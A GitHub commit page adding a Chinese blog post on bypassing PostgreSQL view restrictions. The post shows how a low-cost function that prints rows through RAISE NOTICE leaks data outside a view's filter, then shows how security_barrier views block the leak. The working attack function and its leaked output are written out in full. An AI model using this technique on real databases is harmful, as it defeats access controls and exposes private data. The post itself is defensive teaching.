Skip to content

Commit 03b503b

Browse files
committed
security
1 parent a7a88f4 commit 03b503b

File tree

18 files changed

+2393
-594
lines changed

18 files changed

+2393
-594
lines changed

201307/20130710_01.md

Lines changed: 328 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,328 @@
1+
## PostgreSQL views privilege attack and security with security_barrier(视图攻击)
2+
3+
### 作者
4+
digoal
5+
6+
### 日期
7+
2013-07-10
8+
9+
### 标签
10+
PostgreSQL , 安全 , 优化器 , 算子优先级 , 视图攻击
11+
12+
----
13+
14+
## 背景
15+
数据库中一般可以使用视图来规避用户的访问数据的范围, 但是要注意, 即使使用了视图, 也不一定能规避访问.
16+
17+
例如带where条件的视图就有可能被攻击者利用执行树先执行成本低后执行成本高的规则, 使用低成本函数的raise窃取本来不应该看到的信息.
18+
19+
## 正文
20+
举例如下 :
21+
22+
创建测试表, 插入测试数据.
23+
24+
```
25+
digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);
26+
CREATE TABLE
27+
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', '[email protected]', '13999999999');
28+
INSERT 0 1
29+
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', '[email protected]', '11999999999');
30+
INSERT 0 1
31+
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', '[email protected]', '11999999999');
32+
INSERT 0 1
33+
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', '[email protected]', '11999999999');
34+
INSERT 0 1
35+
```
36+
37+
创建一个视图, 仅仅可以查看groupid=2的数据.
38+
39+
```
40+
digoal=# create view v_userinfo as select * from userinfo where groupid =2;
41+
CREATE VIEW
42+
```
43+
44+
使用普通用户查看表和视图, 现在没有权限查看.
45+
46+
```
47+
digoal=# \c digoal digoal
48+
You are now connected to database "digoal" as user "digoal".
49+
digoal=> select * from userinfo;
50+
ERROR: permission denied for relation userinfo
51+
digoal=> select * from v_userinfo;
52+
ERROR: permission denied for relation v_userinfo
53+
```
54+
55+
分配视图的查询权限给普通用户
56+
57+
```
58+
digoal=> \c digoal postgres
59+
You are now connected to database "digoal" as user "postgres".
60+
digoal=# grant select on v_userinfo to digoal;
61+
GRANT
62+
```
63+
64+
现在普通用户不能直接访问表, 但是可以访问视图了.
65+
66+
```
67+
digoal=# \c digoal digoal
68+
You are now connected to database "digoal" as user "digoal".
69+
digoal=> select * from userinfo ;
70+
ERROR: permission denied for relation userinfo
71+
```
72+
73+
看起来普通用户只能访问groupid=2的数据.
74+
75+
```
76+
digoal=> select * from v_userinfo ;
77+
id | groupid | username | age | addr | email | phone
78+
----+---------+----------+------+------+----------------+-------------
79+
4 | 2 | test | 1000 | 土星 | [email protected] | 11999999999
80+
(1 row)
81+
```
82+
83+
但是利用以下方法, 欺骗rule, 得到不应该看到的数据.
84+
85+
```
86+
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
87+
declare
88+
begin
89+
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
90+
return true;
91+
end;
92+
$$ language plpgsql cost 0.00000000000000000000001;
93+
CREATE FUNCTION
94+
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
95+
NOTICE: 1,1,digoal,1000,杭州西湖区,[email protected],13999999999
96+
NOTICE: 2,1,test,1000,火星,[email protected],11999999999
97+
NOTICE: 3,1,test,1000,月球,[email protected],11999999999
98+
NOTICE: 4,2,test,1000,土星,[email protected],11999999999
99+
id | groupid | username | age | addr | email | phone
100+
----+---------+----------+------+------+----------------+-------------
101+
4 | 2 | test | 1000 | 土星 | [email protected] | 11999999999
102+
(1 row)
103+
```
104+
105+
从以上结果可以看到, 本来不应该看到的groupid=1的数据也被打印出来了.
106+
107+
而且执行计划并没有什么异样.
108+
109+
```
110+
digoal=> explain (analyze,verbose,costs,buffers,timing) select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
111+
NOTICE: 1,1,digoal,1000,杭州西湖区,[email protected],13999999999
112+
NOTICE: 2,1,test,1000,火星,[email protected],11999999999
113+
NOTICE: 3,1,test,1000,月球,[email protected],11999999999
114+
NOTICE: 4,2,test,1000,土星,[email protected],11999999999
115+
QUERY PLAN
116+
117+
------------------------------------------------------------------------------------------------------------------------------------
118+
--------------------------
119+
Seq Scan on public.userinfo (cost=0.00..16.00 rows=1 width=140) (actual time=0.090..0.091 rows=1 loops=1)
120+
Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
121+
Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN
122+
D (userinfo.groupid = 2))
123+
Rows Removed by Filter: 3
124+
Buffers: shared hit=1
125+
Total runtime: 0.113 ms
126+
(6 rows)
127+
```
128+
129+
那这是为什么呢?
130+
131+
Every person and phone number in the phone_data table will be printed as a NOTICE, because the planner will choose to execute the inexpensive tricky function before the more expensive NOT LIKE.
132+
133+
Even if the user is prevented from defining new functions, built-in functions can be used in similar attacks.
134+
135+
(For example, most casting functions include their input values in the error messages they produce.)
136+
137+
原因是PostgreSQL在生成执行树时, 先执行成本低的再执行成本高的. 在本例就是说先执行成本低的函数attack, 再执行成本高的groupid=2;
138+
139+
=的成本是多少怎么看 :
140+
141+
=在这里是指的哪个函数呢?
142+
143+
```
144+
digoal=> select * from pg_operator where oprname='=' and oprleft=23 and oprright=23;
145+
oprname | oprnamespace | oprowner | oprkind | oprcanmerge | oprcanhash | oprleft | oprright | oprresult | oprcom | oprnegate | oprc
146+
ode | oprrest | oprjoin
147+
---------+--------------+----------+---------+-------------+------------+---------+----------+-----------+--------+-----------+-----
148+
----+---------+-----------
149+
= | 11 | 10 | b | t | t | 23 | 23 | 16 | 96 | 518 | int4
150+
eq | eqsel | eqjoinsel
151+
(1 row)
152+
```
153+
154+
查看这个操作符的成本 :
155+
156+
```
157+
digoal=> select * from pg_proc where proname='int4eq';
158+
-[ RECORD 1 ]---+-------
159+
proname | int4eq
160+
pronamespace | 11
161+
proowner | 10
162+
prolang | 12
163+
procost | 1
164+
prorows | 0
165+
provariadic | 0
166+
protransform | -
167+
proisagg | f
168+
proiswindow | f
169+
prosecdef | f
170+
proleakproof | t
171+
proisstrict | t
172+
proretset | f
173+
provolatile | i
174+
pronargs | 2
175+
pronargdefaults | 0
176+
prorettype | 16
177+
proargtypes | 23 23
178+
proallargtypes |
179+
proargmodes |
180+
proargnames |
181+
proargdefaults |
182+
prosrc | int4eq
183+
probin |
184+
proconfig |
185+
proacl |
186+
```
187+
188+
注意成本是real类型
189+
190+
```
191+
digoal=> \d pg_proc
192+
Table "pg_catalog.pg_proc"
193+
Column | Type | Modifiers
194+
-----------------+--------------+-----------
195+
proname | name | not null
196+
pronamespace | oid | not null
197+
proowner | oid | not null
198+
prolang | oid | not null
199+
procost | real | not null
200+
prorows | real | not null
201+
provariadic | oid | not null
202+
protransform | regproc | not null
203+
proisagg | boolean | not null
204+
proiswindow | boolean | not null
205+
prosecdef | boolean | not null
206+
proleakproof | boolean | not null
207+
proisstrict | boolean | not null
208+
proretset | boolean | not null
209+
provolatile | "char" | not null
210+
pronargs | smallint | not null
211+
pronargdefaults | smallint | not null
212+
prorettype | oid | not null
213+
proargtypes | oidvector | not null
214+
proallargtypes | oid[] |
215+
proargmodes | "char"[] |
216+
proargnames | text[] |
217+
proargdefaults | pg_node_tree |
218+
prosrc | text |
219+
probin | text |
220+
proconfig | text[] |
221+
proacl | aclitem[] |
222+
Indexes:
223+
"pg_proc_oid_index" UNIQUE, btree (oid)
224+
"pg_proc_proname_args_nsp_index" UNIQUE, btree (proname, proargtypes, pronamespace)
225+
```
226+
227+
从以上查询可以看出本例的groupid=2中的=使用的是int4eq函数, 这个函数的cost=1;
228+
229+
所以只要attack函数的cost小于int4eq就肯定会被先执行.
230+
231+
```
232+
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
233+
NOTICE: 1,1,digoal,1000,杭州西湖区,[email protected],13999999999
234+
NOTICE: 2,1,test,1000,火星,[email protected],11999999999
235+
NOTICE: 3,1,test,1000,月球,[email protected],11999999999
236+
NOTICE: 4,2,test,1000,土星,[email protected],11999999999
237+
-[ RECORD 1 ]------------
238+
id | 4
239+
groupid | 2
240+
username | test
241+
age | 1000
242+
addr | 土星
243+
244+
phone | 11999999999
245+
```
246+
247+
将attack的成本改为1.1, 就不会先执行了.
248+
249+
```
250+
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
251+
declare
252+
begin
253+
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
254+
return true;
255+
end;
256+
$$ language plpgsql cost 1.1;
257+
CREATE FUNCTION
258+
```
259+
260+
改成1.1后, 显然不能查看到groupid<>2的数据了.
261+
262+
```
263+
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
264+
NOTICE: 4,2,test,1000,土星,[email protected],11999999999
265+
-[ RECORD 1 ]------------
266+
id | 4
267+
groupid | 2
268+
username | test
269+
age | 1000
270+
addr | 土星
271+
272+
phone | 11999999999
273+
```
274+
275+
建立安全的视图, 使用security_barrier选项 :
276+
277+
```
278+
digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;
279+
CREATE VIEW
280+
digoal=# grant select on v_userinfo_1 to digoal;
281+
GRANT
282+
digoal=# \c digoal digoal
283+
You are now connected to database "digoal" as user "digoal".
284+
digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
285+
declare
286+
begin
287+
raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
288+
return true;
289+
end;
290+
$$ language plpgsql cost 0.1;
291+
CREATE FUNCTION
292+
```
293+
294+
查看非安全视图, 依旧欺骗.
295+
296+
```
297+
digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
298+
NOTICE: 1,1,digoal,1000,杭州西湖区,[email protected],13999999999
299+
NOTICE: 2,1,test,1000,火星,[email protected],11999999999
300+
NOTICE: 3,1,test,1000,月球,[email protected],11999999999
301+
NOTICE: 4,2,test,1000,土星,[email protected],11999999999
302+
id | groupid | username | age | addr | email | phone
303+
----+---------+----------+------+------+----------------+-------------
304+
4 | 2 | test | 1000 | 土星 | [email protected] | 11999999999
305+
(1 row)
306+
```
307+
308+
查看安全视图, 无法被欺骗了.
309+
310+
```
311+
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
312+
NOTICE: 2,1,test,1000,火星,[email protected],11999999999
313+
id | groupid | username | age | addr | email | phone
314+
----+---------+----------+------+------+----------------+-------------
315+
2 | 1 | test | 1000 | 火星 | [email protected] | 11999999999
316+
(1 row)
317+
```
318+
319+
## 其他
320+
1\. 由于使用security_barriers选项后优化器不起作用, 只走seqscan, 是个巨大缺陷, PostgreSQL 9.4将新增Row-Level-Security补丁 . 规避这个问题.
321+
322+
## 参考
323+
1\. http://www.postgresql.org/docs/9.3/static/rules-privileges.html
324+
325+
2\. http://blog.163.com/digoal@126/blog/static/163877040201362402650341/
326+
327+
[Count](http://info.flagcounter.com/h9V1)
328+

0 commit comments

Comments
 (0)